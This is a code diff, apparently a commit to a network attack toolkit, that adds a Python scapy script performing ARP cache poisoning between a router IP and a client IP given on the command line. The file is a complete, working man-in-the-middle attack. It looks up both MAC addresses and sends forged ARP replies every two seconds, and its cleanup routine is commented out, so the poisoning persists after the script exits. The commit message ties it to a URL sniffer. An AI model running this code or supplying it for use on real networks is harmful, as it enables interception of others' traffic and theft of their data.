Lots of new options, urlsnarf remade using just python

arpspoof.multiOS.py

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+#!/usr/bin/python
+
+#If you're on linux, don't forget to flush the IP tables
+
+import logging
+logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
+from scapy.all import *
+conf.verb=0
+import time, sys
+import commands
+bash=commands.getoutput
+
+if len(sys.argv) != 3:
+	sys.exit("Usage: " + sys.argv[0] + " <router IP> <client IP>")
+
+def originalMAC(ip):
+	ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=2)
+	for snd,rcv in ans:
+		return rcv.sprintf("%Ether.src%")
+
+def poison(routerIP, clientIP):
+	send(ARP(op=2, pdst=clientIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff"))
+	send(ARP(op=2, pdst=routerIP, psrc=clientIP, hwdst="ff:ff:ff:ff:ff:ff"))
+
+def restore(routerIP, clientIP, routerMAC, clientMAC):
+	send(ARP(op=2, pdst=routerIP, dst=clientIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC))
+	send(ARP(op=2, pdst=clientIP, dst=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=clientMAC))
+
+def main():
+
+	print "Router IP = " + sys.argv[1]
+	print "Client IP = " + sys.argv[2]
+	print "Ctrl+C to exit"
+
+	try: 
+		routerMAC = originalMAC(sys.argv[1])
+		print "\nThis is the routerMAC: " + routerMAC
+		clientMAC = originalMAC(sys.argv[2])
+		print "\nThis is the clientMAC: " + clientMAC
+	except:
+		sys.exit("Could not get MAC addresses")
+
+	while 1:
+#		try:
+		poison(sys.argv[1], sys.argv[2])
+		time.sleep(2)
+#		except KeyboardInterrupt:
+#			restore(sys.argv[1], sys.argv[2], routerMAC, clientMAC)
+#			sys.exit("Goodbye")
+
+if __name__ == "__main__":
+	main()